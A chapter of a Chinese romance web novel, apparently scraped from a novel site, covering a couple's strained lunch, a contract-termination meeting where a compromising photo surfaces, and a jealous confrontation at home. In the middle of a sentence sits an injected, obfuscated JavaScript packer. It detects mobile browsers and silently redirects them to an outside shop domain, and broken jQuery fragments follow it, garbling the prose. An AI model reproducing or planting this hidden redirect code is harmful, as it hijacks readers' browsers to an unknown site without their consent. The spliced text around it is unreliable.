文趣网 > 其他小说 > 小报记者的头条婚约 > 40. 解约
    早上,美华超市。

    姜焰照常上班,情绪却是异常低落。

    她蹲在货架前,把薯片摆好,隐约听见远处的同事在嘀咕她的八卦。

    “前两天还风光无限,走路都轻飘飘的。才几天,就变成这个样子……”

    “咱们老板不是一向那样,走到哪玩到哪,真以为能飞上枝头变凤凰啊?人家是大户人家的少爷,怎么会娶她一个中专妹?小地方来的人,想法就是天真!”

    店长咳嗽一声,瞪了一眼,店员们立刻散开,各忙各的。

    “小姜,没事吧?和迟少闹变扭了?”

    “没有。”姜焰深吸口气,“也不算闹别扭,就是……”

    “嗨,姜焰!”突然,迟屿大步迈进超市,阳光灿烂,像是什么都没有发生。

    店长识趣地回避,给他们让出空间。

    “中午一块儿吃饭吧,地方你来挑,怎么样?”

    “我不去了,我没有胃口……”

    “你好像故意躲着我?”迟屿上前一步,弯下腰靠近,“但你跑得了和尚跑不了庙。只要你还在美华,我就一定能找到你!”

    “你说,让我挑地方是吧?”姜焰站起来,抬头望向男人。

    ……

    路边小店,牛肉面。

    “小姜,今天也要加鸡蛋吗?”

    “对的,辛苦虎哥。”姜焰说完,转头看向迟屿,“你吃什么?”

    “要一样的。”迟屿笃定地说。

    面端上来,白净净的,肉只有零星两块。

    迟屿唏哩呼噜,把面条全吃了,连汤也没有放过。

    “不想吃就别吃了,不用为难自己……”姜焰筷子都没动一下。

    迟屿把碗放下,呼出一口热气,他红着脸说:“昨天,我没吃你做的饭,不是因为我娇生惯养,我是想给你最好的,我想带你尝试我喜欢的东西,我想让你融入我的生活。”

    “可街边小店,苍蝇馆子,才是我的生活……”

    “那又怎么样呢?”迟屿眨眨眼睛,“人往高处走,水往低处流,难道你要一辈子困在这种脏乱差的地方吗?”

    姜焰干咳一声,瞟向老板,虎哥把勺子摔进汤锅,鄙夷地看向迟屿。

    “什么脏乱差,你说什么!”姜焰赶紧眨眼。

    “理货员不能做一辈子,总要为将来做打算。”迟屿没理会老板的犀利,他接着说,“我研究过了。公司有一个精英培育计划,选拔有潜力的年轻员工,去洛杉矶总部培训。我已经帮你报名了。等你学会了语言和技能,就可以回到杭市,做更重要的岗位。到时候,就没有人会质疑我们之间的关系……”

    “你还是嫌我学历低,配不上你……”

    “那没准你学成归来,就看不起我这个纨绔子弟,想要取而代之了呢?”

    “瞎说!”姜焰被哄好了一点,她挑起眼眸,“培训要去多久啊?”

    “两年。”迟屿说,“我和我姐打好招呼,让她多照顾你。”

    “那我们岂不是很久都见不到面了……”姜焰有一些失落。

    “也不是现在立刻就去。办护照,签证,也要好几个月呢,最快也得明年。”

    “可是,人家想现在就嫁给你……”

    “难道你现在嫁给我,相夫教子,洗衣服做饭,就能实现人生价值了吗?”迟屿认真说,“你还很年轻,你还有机会。只要你愿意学,我可以无条件支持你。你一定要努力哦!”

    “那要是我不在的时候,你爱上别人怎么办?”

    “你担心我啊,我还担心你呢!一个女孩子,出门在外,每天都要向我汇报行程!千万,别被花言巧语的老白男骗走了!”

    姜焰抿起嘴巴偷笑,她向老板伸手:“加面,再加份牛肉!”

    ……

    觅糖文化,会议室。

    靳贺倾约了棠星,带着刘恋和律师来谈解约。

    三个人在会议室等了将近半个小时,棠星才姗姗来迟。

    “不好意思,刚刚从外面赶回来,稍微迟了一会儿。”棠星露出礼貌的笑容,和靳贺倾握手。

    “客套话就不用说了。我们是来谈解约的,律师我都带来了。”靳贺倾伸出手来介绍,“这位是小任律师。”

    棠星又笑:“小靳总,带着律师杀过来,您这是要来围殴我呀?怎么不把闻小姐也带过来?”

    闻小姐?刘恋敏锐地捕捉到恶意,转过头看向哥哥。

    靳贺倾冷笑:“如果你是这个态度,那我们就只能法庭见。”

    “我不是这个意思。”棠星一直笑,可话里话外,又带着刺,“其实呢,解约合同我已经拟好了。但是靳小姐已经是成年人了,这件事事关她的前途命运,我想和靳小姐,单独谈一谈。”

    靳贺倾转头看向刘恋,她正向他微微点头。

    “有事随时叫我,我们在门口。”靳贺倾带着律师离场,棠星似是终于松了口气。

    棠星打开随身携带的笔记本电脑,将解约书的文档送到刘恋面前,他说:“短视频,到哪都能拍。只要你愿意,去了美国也一样能播。没必要什么都听你大哥的……如果你不想做吃播了,可以转型做娱乐主播,我重新帮你设计路线!不管怎么说,能把你签过来,也是靠你二哥帮忙牵线,你就这么走了,面子上过不去……”

    “二哥那边你不用管,我去和他说……”

    刘恋认真阅读合同,突然,微信弹窗出来。

    打眼一瞧,看见棠星的聊天记录。照片发来,一张接一张。

    瞟到熟悉的面孔,刘恋瞥向棠星,他还在滔滔不绝,似是毫无察觉。

    鼠标点开,图片加载放大:霓虹灯下,闻竞依偎在迟屿胸前,眼神拉丝??

    卧槽。瞳孔皱缩,刘恋像是窥探到了什么了不起的秘密。

    突然,笔记本合上,棠星一只手按下来,他站在刘恋身边,轻声说:“好吧,我答应解约,也可以不收你钱。”

    刘恋抬起头,她还沉浸在震惊之中。

    “但是这件事,一定不要对你哥哥说哦。”棠星的笑容,似是不怀好意。

    会议室的大门打开,棠星笑着送刘恋出来,说一切都已经谈好,请小靳总放心。

    坐电梯下楼,边走边说。

    “无条件解约?”靳贺倾有些意外。

    “嗯。”刘恋点点头,“他是这么说的。”

    “真的没有条件?是棠星答应的?”靳贺倾皱了眉头,他还是觉得奇怪。

    如果表面看不到动机,背后就一定藏着更深的动机。棠星的行为实在太可疑了。

    “哥,你和嫂子的感情,没什么问题吧?”刘恋悄悄抿嘴。

    “那个男人到底和你说什么了?你必须一字一句,全都讲给我听!”

    ……

    下班回家,闻竞放下钥匙,看见靳贺倾出现在沙发上,突然就觉得安心。

    茶几推到墙角,他面前摆着的,变成两大箱薯片。

    “哇,我的薯片!”闻竞飞扑过来,跪在地板上拆箱,“替我谢谢迟少!”

    男人一脚踩在纸箱上,侧过头来看她,情绪萎靡,眼神却锋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522226|202300||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    利如针。

    “你又怎么了?脾气这么冲,谁又惹着你了??”闻竞挑起眼眸。

    “你和迟屿的事情,我已经知道了。”靳贺倾冷冷说。

    “我和迟屿?什么事,你没吃错药吧?”

    “有人拍到,黑灯瞎火,你们抱在一起接吻。”男人添油加醋。

    “那不可能!”闻竞起身,她也一脚踩在纸箱上,“又是棠星和你说的?那个贱人,他就是见不得我们好!”

    “是刘恋亲眼看到的!”

    “那就是AI,是造谣!现在技术这么发达,如果我愿意,也可以做出你的果照。”

    “现在是严肃的场合,没让你开玩笑!”靳贺倾冷哼一声,“我已经和迟屿聊过了,他全都承认了。”

    “承认什么,承认他亲我啊?”闻竞居高临下,双手插进口袋,“那你叫他过来,我们当面对质!”

    看见闻竞毫不心虚,靳贺倾才带出几分笑意:“搞不好就是那天呗,某些人可是跟着人家去喝酒蹦迪,不知道多开心!喝酒到断片儿,回来说什么都不记得。谁知道他对你干了什么?”

    真是,好大一股醋味儿。

    闻竞笑盈盈地,坐到沙发扶手上,坐到靳贺倾身边,搂住他的肩膀:“那都是多久之前的事情了,还拿出来说?那个时候,我们还不熟呢!”

    “搞不好,棠星从那个时候开始,就一直监视你哦——”

    闻竞浑身打了个冷颤,半晌,才开口说:“他监视干嘛呀?吃饱了撑的吧!”

    “破坏我们的关系,他好趁虚而入。”靳贺倾拉着闻竞的手,把她拖进怀里。

    “嘘——”女人侧坐在男人腿上,探身向前,用食指堵住男人的嘴巴,“如果那天晚上,我真的和迟屿发生了什么,你还会要我吗?”

    “不会。”靳贺倾斩钉截铁,“我不会让那样的事情发生。”

    闻竞欣慰地,抿起嘴傻乐。

    她捧起靳贺倾的脸颊,亲吻在他的唇边。

    “我好像爱上你了,闻竞,留在我身边吧。”男人说完,搂住女人的腰,亲吻在她的颈肩,他对她有感觉。

    可闻竞却适时抽身,她回避了眼神,撩开鬓角碎发,嗫嚅说:“时间不早了,还是,早点休息吧。”

    “我打电话找过迟苓。”靳贺倾说,“我让她帮我找侦探,不计代价,一定要把一号厂的老员工全都找到。”

    “迟屿不是说他亲过我吗,你还找他姐姐帮忙?”

    “那是我诈你呢,实际我根本没问过他。”靳贺倾目光阴冷,他勾起女人的一缕发丝,语气温柔地说,“就算你们真的亲了也没关系。关键是不能让照片流出去,流出去对你的名声不好。如果真的亲过,还是坦白从宽,我也好给你们擦屁股。”

    “都说了没有了,你还想诈我是不是?八百个心眼子,你好坏啊你!”闻竞用食指轻点靳贺倾的鼻尖。

    “真的没有?”靳贺倾的眼底终于露出笑意。

    “你不信我,那我不理你了!”闻竞赌气鼓起嘴巴。

    “好了,我相信你。”男人垂下头,捉住她柔软的手掌,反复摸索,“最近发生这么多事,都没有时间查你爸爸的案子。其实,我比你更想知道真相……”

    一说到这儿,靳贺倾的语气深沉,目光也变得深邃,他轻声问她:“如果,结果不尽如人意,你还会要我吗?”

    “不会。”闻竞笃定地说,“但也许是好结果呢?”

    “……”靳贺倾失望了,他觉得不公平。

    上一辈的事情,谁说的准?